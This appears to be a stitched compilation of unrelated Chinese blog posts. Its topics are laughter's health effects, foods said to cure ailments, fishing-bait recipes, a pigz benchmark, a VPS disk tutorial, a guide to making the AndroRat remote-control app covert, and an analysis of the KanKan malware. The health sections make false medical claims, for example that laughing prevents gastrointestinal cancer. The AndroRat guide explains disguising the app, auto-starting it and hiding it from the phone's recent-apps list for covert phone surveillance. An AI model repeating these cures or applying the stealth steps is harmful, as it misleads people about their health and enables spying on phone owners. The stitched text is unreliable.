现在国际上有个最新说法,所有动物都没有笑的功能,只有人类有这个功能。但人类还不好好利用它。古代说:笑一笑,十年少。不是指年龄,是指心态。笑口常开,健康常在。笑的作用非常大,美国成立了微笑俱乐部,笑成了健康的标志。哈哈一笑,皱纹没了。笑使很多病都不得。第一不得偏头痛,第二不得后背痛,因为笑的时候微循环旺盛。通则不痛,不通则痛。得了偏头痛别着急,哈哈一笑就好了,不信你可以实验。而且性功能不减弱,生殖功能不减弱。你看人家罗马尼亚老太太92岁还生胖娃娃,人家天天笑啊。我们现在30多岁就不生孩子了,天天绷着个脸当然不能生了。还有,经常笑对呼吸道、消化道特别好。可以做实验,你摸着肚子开始笑,每天大笑三次,肚子咕噜三次,不便秘,不得胃肠道癌症。你锻炼上肢,锻炼下肢,什么时候锻炼肠胃呀?没机会,只有笑才能锻炼肠胃。笑在国际上已经成为一个健康的标准,我调查多次了,笑的第二个诺贝尔奖已经发布了。笑促进脑下垂体,产生脑内胚,它是天然麻醉剂。你要是得了关节炎别着急,冲着关节哈哈一笑,一会儿就不痛了。笑有那么多好处,我们为什么不笑呢?最近北京市普查完了,人的寿命你知道是老头长还是老太太长?我告诉大家,老太太比老头长,平均比老头多活6年半。很多老太太的最大优点就是从年轻时就喜欢笑,到老了还笑。但各位如果悲伤,眼泪必须”弹”出来,留着没有任何好处。
国际会议上已经给我们提出警告了,让我们喝绿茶,吃大豆,睡好觉,常运动,不要忘记常欢笑。希望每个人都要注意平衡饮食、有氧运动,而且注意你的心理状态,该哭时哭,该笑时笑。我相信我们一定能越过73岁,闯过84岁,90、100岁一定会健在
生梨润肺化痰好, 苹果止泻营养高。
黄瓜减肥有成效, 抑制癌症猕猴桃。
番茄补血助容颜, 莲藕除烦解酒妙。
橘子理气好化痰, 韭菜补肾暖膝腰。
萝卜消食除胀气, 芹菜能治血压高。
白菜利尿排毒素, 菜花常吃癌症少。
冬瓜消肿有利尿, 绿豆解毒疗效高。
木耳搞癌散血淤, 山药益肾浮肿消。
海带含碘散淤结, 蘑菇抑制癌细胞。
胡椒驱寒兼除湿, 葱辣姜汤治感冒。
鱼虾猪蹄补乳汁, 猪肝羊肝明目好。
益肾强腰吃核桃, 健肾补脾吃红枣。
钓鱼偏方
三款钓鱼偏方!!! | ||||||||
1、用味精的效果比氨基酸好。 实践多次,在池塘中挂不同的铒,看哪个上的多,味精的效果强60%左右。 2、用玉米软糖钓鲤鱼,不用附加任何东西,一年四季通用,便宜又实惠,上鱼还多,其中玉米的清香和甜味,有鲤则抢之,曾在混养坑中,别人不出鲤鱼的情况下,钓起16条,其乐无比。 3、把腰果碾碎,和基础铒和在一起,别的添加剂不放或少放,几种杆坑中常放鱼种,大小通杀,绝对效果显著。
|
1:钓鱼百法百中法:将中药阿魏研末拌蚯蚓当鱼铒,鱼闻味争相抢食,引法无不上钓,百法百中
2:丁香油混合蚯蚓钓鱼,无论钓何种鱼类,都获得成功,鱼类上钓率很高,比单纯以蚯蚓作诱铒法提高6—8倍以上,用此法钓塘角鱼时、更会频频上钓,用法:(三两鲜蚯蚓,则用一钱丁 香油)在放钓前将蚯蚓与丁香油混合拌匀,时间不用过长,尤其不能过夜,应随拌随用,如果时间过长,丁香油挥发会影响钓鱼效果,
3:钓鲤鱼百发百中,咖啡一两,胡椒粉五钱共研磨,加入蛋清三个,面粉一两搅拌成团,拧成豆大即成药铒。
4:钓鱼偏方,1、用味精的效果要比用安基酸效果好。2、用玉米软糖钓鲤鱼,不用附加任何东西,一年四季通用,便宜又实惠,上鱼又多。3、把腰果碾碎,和基础铒和在一起,别的添加剂不放或少放。
5:窝料秘方、1、用料:买一两斤韭菜、切碎、到钓点后用泥和在一起、用一半打窝,其余的用来续窝,主聚:鲤、鲫
2、用料:大米、玉米面、菜籽饼、先分别将大米,玉米面,菜籽饼用文火炒香,趁热倒入适量香油拌匀略、炒片刻,装瓶后用曲洒浸泡,曲酒度越高越好。
3、用料:二斤大米、一斤小米、半斤面粉、半斤曲酒、半玦酒药,制法:将大米、小米用开水浸泡5分钟,将酒药敲碎成粉末与面粉拌匀,最后将上述各料拌匀,装入广囗瓶放在太阳下日晒夜露,一年后可使用,时间越长越好。(特效)
用pigz代替gzip
pig是个啥东东?
官网:http://zlib.net/pigz
一句话简介:
A parallel implementation of gzip for modernmulti-processor, multi-core machines。
简单的说,就是支持并行的gzip。废话不多说,开始测试。
pig默认用当前逻辑cpu个数来并发压缩,无法检测个数的话,则并发8个线程。
一、测试压缩包文件1 压缩前 -rw-r--r-- 1 root root 2474772480 Dec 3 19:54 dbs.tar 1、gzip测试 压缩耗时,CPU最高:101.6% real 2m18.042s user 2m10.204s sys 0m6.876s 解压缩耗时,CPU最高:101.6% real 0m26.756s user 0m20.175s sys 0m6.580s 压缩后 -rw-r--r-- 1 root root 2349563863 Dec 3 19:54 dbs.tar.gz 2、pigz测试 并发8线程(默认): 压缩耗时,CPU最高:832% real 0m21.710s user 2m31.229s sys 0m9.101s 解压缩耗时,CPU最高:199% real 0m13.239s user 0m11.791s sys 0m12.426s 并发4线程: 压缩耗时,CPU最高:427.6% real 0m38.299s user 2m30.701s sys 0m8.369s 解压缩耗时,CPU最高:202% real 0m13.294s user 0m12.154s sys 0m11.862s 压缩后 -rw-r--r-- 1 root root 2350161547 Dec 3 19:54 dbs.tar.gz 二、测试压缩包文件2 压缩前 -rw-r--r-- 1 root root 5248890880 Dec 3 20:26 mysql-5.5.28-linux2.6-x86_64.tar 1、gzip测试 压缩耗时,CPU最高:101% real 6m20.524s user 6m2.466s sys 0m7.410s 解压缩耗时,CPU最高: 101% real 0m58.893s user 0m46.258s sys 0m11.944s 压缩后 -rw-r--r-- 1 root root 1410045513 Dec 3 20:26 mysql-5.5.28-linux2.6-x86_64.tar.gz 2、pigz测试 并发8线程(默认): 压缩耗时,CPU最高: 799% real 1m11.908s user 6m36.717s sys 0m9.860s 解压缩耗时,CPU最高:179% real 0m33.188s user 0m38.069s sys 0m16.728s 并发4线程: 压缩耗时,CPU最高: 418% real 1m41.547s user 6m36.782s sys 0m9.806s 解压缩耗时,CPU最高: 179% real 0m33.120s user 0m37.500s sys 0m16.956s 压缩后 -rw-r--r-- 1 root root 1406061442 Dec 3 20:26 mysql-5.5.28-linux2.6-x86_64.tar.gz
结论:
1、pigz默认用法(默认并发线程是逻辑cpu个数)可比gzip快5.3倍,CPU消耗则是gzip的8倍,压缩比则相当; 2、并发8线程对比4线程提升:41.2%,16线程对比8线程提升:27.9%,32线程对比16线程提升:3%; 3、在对压缩效率要求较高、但对短时间内CPU消耗较高不受影响的场景,使用pigz非常合适。
渗透测试DNS查询
如何玩转andriod远控(androrat)
看我是怎样改造Android远程控制工具AndroRat
1.修改布局界面 2.配置默认远程ip和端口 3.LauncherActivity修改为运行后自动开启服务并自动返回到主界面 4.修改xml让程序不显示在最新使用的程序
0x00 搭建andriod环境
对于小白来说,首先需要的开发环境是必须
1.eclipse 2.jdk 3.sdk
安装配置好后就将我们的AndroRat工程导入eclipse中
导入完成后看见2个工程如图:
刚导入进来时肯定会编译报错,这时需将2个jra包引用进来 如图:
其他报错如import 缺少对应包可到http://www.findjar.com/index.x查找并引用
编译错误解决完成后就会出现黄色感叹号,这个时候2个工程就可以运行了。
0x01 安装androrat
先运行我们的服务端开启监听 默认config.txt配置端口
运行成功后出现服务端如下:
接着运行客户端,使用usb链接我们的手机安装app查看
安装好后应用列表会有一个叫LogsProvider的应用,可以在如下文件里修改name
接着修改LauncherActivity.class代码让程序默认情动并运行后自动black
Manifest修改,使其不在home最近应用里显示
布局文件位置,可以自定义修改布局
adb 安装运行客户端后,服务端如图,-手机安装程序后会自动返回到桌面,长按home也看不到该程序。
此时整个程序可以使用了,功能挺多的就不列举了
0x02 引申思考
1.如把修改app写成服务,监听短信指定代码开启端口 (老外都这样干的)
2.andriod里的gps功能和拍照功能有bug 这可是两个亮点功能,擦
3.实现程序的自动编写,屏蔽扫描杀软,自我复制和感染文件(这还是留个大牛们研究)
http://url.cn/Ke7wxT微云源码分享地址
Linux VPS新硬盘分区与挂载教程
先通过fdisk -l查看目前磁盘分区状况
[root@MyVPS ~]# fdisk -l
Disk /dev/xvda: 8589 MB, 8589934592 bytes
255 heads, 63 sectors/track, 1044 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Device Boot Start End Blocks Id System
/dev/xvda1 * 1 13 104391 83 Linux
/dev/xvda2 14 1044 8281507+ 8e Linux LVM
Disk /dev/xvdb: 23.6 GB, 23622320128 bytes
255 heads, 63 sectors/track, 2871 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Device Boot Start End Blocks Id System
我们可以看到/dev/xvdb容量有23.6G,而且没有分区,接下来我们对它进行分区和挂载
# fdisk /dev/xvdb
[root@MyVPS ~]# fdisk /dev/xvdb
The number of cylinders for this disk is set to 2871.
There is nothing wrong with that, but this is larger than 1024,
and could in certain setups cause problems with:
1) software that runs at boot time (e.g., old versions of LILO)
2) booting and partitioning software from other OSs
(e.g., DOS FDISK, OS/2 FDISK)
输入n新建分区
Command (m for help): n
Command action
e extended
p primary partition (1-4)
p
/dev/xvdb中第1个分区
Partition number (1-4): 1
First cylinder (1-2871, default 1):
Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-2871, default 2871):
Using default value 2871
输入W保存退出
Command (m for help): w
The partition table has been altered!
Calling ioctl() to re-read partition table.
Syncing disks.
通过上述步骤我们已将/dev/xvdb分区完成,下面我们对分区格式化并进行挂载
将新分区xvdb1(此名称因系统而异)格式化为ext3格式
# mkfs -t ext3 /dev/xvdb1
[root@MyVPS ~]# mkfs -t ext4 /dev/xvdb1
mke2fs 1.39 (29-May-2006)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
2883584 inodes, 5765319 blocks
288265 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=4294967296
176 block groups
32768 blocks per group, 32768 fragments per group
16384 inodes per group
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,
4096000
Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done
This filesystem will be automatically checked every 24 mounts or
180 days, whichever comes first. Use tune2fs -c or -i to override.
将新分区xvdb1挂载,我们示例挂载到/home1目录。新建目录/home1,然后挂载:
# mkdir /home1 /*建立home1目录*/
# mount /dev/xvdb1 /home1 /*挂载到home1目录*/
完成后我们通过df -hal可以看到,新分区已经挂载到目录/home1上了
[root@MyVPS ~]# df -hal
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/VolGroup00-LogVol00
5.7G 1.4G 4.1G 25% /
proc 0 0 0 – /proc
sysfs 0 0 0 – /sys
devpts 0 0 0 – /dev/pts
/dev/xvda1 99M 28M 67M 30% /boot
tmpfs 256M 0 256M 0% /dev/shm
none 0 0 0 – /proc/sys/fs/binfmt_misc
sunrpc 0 0 0 – /var/lib/nfs/rpc_pipefs
/dev/xvdb1 22G 173M 21G 1% /home1
然后编辑/etc/fstab使分区在开机时自动挂载到home1
# echo “/dev/xvdb1 /home1 ext4 defaults 1 2” >> /etc/fstab
通过上述步骤已经完成硬盘未分区部分分区和挂载,并实现开机时自动挂载。在ThinkVM后台重装系统时,只要选择只格系统盘就可实现重装而不丢失新分区数据。
重装系统后,不用重新分区,直接按上面挂载分区步骤进行挂载即可读取该分区数据。
揭秘:迅雷“病毒门”技术解析
背景介绍
今年7月27日,迅雷爆出病毒门,网友称发现一个位于C:\Windows\System32目录下、名为“INPEnhSvc.exe”、带有迅雷数字签名的文件有问题。网络上的新闻虽然不少,但大多都是八卦和概念性的描述,本文是由国外的小伙伴写的一篇纯技术分析。
概述
最近ESET杀毒软件检测到一款名为Win32/KanKan的恶意软件.它有一下3个重要特征:
1. 尽管自身没有办公软件的功能,但是在注册表里注册了一个办公插件,目的纯粹是为了更长久的在系统中存活.
2. 所有连接到受感染电脑的安卓手机都会被悄悄的安装多个APP.
3. 这款恶意软件拥有迅雷网络技术有限公司的签名.
详细分析
恶意软件的签名信息如下:

这个恶意软件是一个windows安装程序,文件名为INPEnhSetup.exe.开始运行的时候会连接kkyouxi.stat.kankan.com 发送初始化消息.然后释放3个文件:INPEn.dll, INPEnhUD.exe和INPEnhSvc.exe.之后加载库文件INPEn.dll到内存,调用它的 DllRegisterServer函数.最后安装程序又向域名kkyouxi.stat.kankan.com发送安装完成消息.
INPEn.dll
INPEn.dll运行时会安装一个Word,Excel,PowerPoint的名为InputEnhance的插件.通过创建一个注册表项使得办公软件每次启动就会加载这个插件,从而达到隐蔽运行的目的.
dll文件运行之后会读取conf.kklm.n0808.com/tools.ini这个文件.
这个文件包含了多个参数.其中Tools和VID用base64编码过.
Tools解码后如下:
taskmgr.exe|tasklist.exe|procexp.exe|procmon.exe|devenv.exe|windbg.exe|filemon.exe|ollyice.exe|ollydbg.exe|processspy.exe|spyxx.exe|cv.exe|wireshark.exe
显然是检测这些工具是否运行,如果存在dll文件会停止运行,避免被发现.值得一提的这个列表里并只有分析工具,没有杀毒软件.看来作者的目的是为了防止软件被发现.
dll文件运行之后还会通过访问baidu.com,qq.com等域名来检测网络是否通畅.如果没有联网就周期性的检测网络连接.
INPEnhUD.exe
一旦网络连接建立,它就会执行INPEnhUD.exe.我们称这个文件为更新程序.它首先访问这个URL:
update.kklm.n0808.com/officeaddinupdate.xml.
officeaddinupdate.xml当前的内容如下:

这个xml文件包含一个url和md5 hash的列表.INPEnhUD.exe会下载没一个url里的文件,然后比对md5,如果通过就执行这个文件.
当前xml里只有一个Uninstall.exe,现在该软件下载这个程序会把自己卸载掉.当下载完列表里的程序后,最后会执行第三个文件,INPEnhSvc.exe.
INPEnhSvc.exe
INPEnhSvc.exe是这3个文件架构的最核心.它获取一个包含7个命令的XML配置文件.7个命令可以分为下面两组:
local commands: scanreg, scandesktop, scanfavorites
outsourced commands: installpcapp, installphoneapp, setdesktopshortcut, addfavorites, setiestartpage
整个程序的架构可以用下图表示:

下面分析一下我们最感兴趣的”installphoneapp”命令.其实大多数命令都可以从它的名字看出他大概的作用.”installphoneapp”会下载一些安卓应用,然后安装到连接到该电脑的手机上.
当我们开始调查的时候,这些安卓应用已经不能下载了.我们在中国的一些安全论坛里找到几个样本.下面是这些应用的截图.
下图是ESET每天检测到的这个名为 Win32/kankan软件的安装数据.
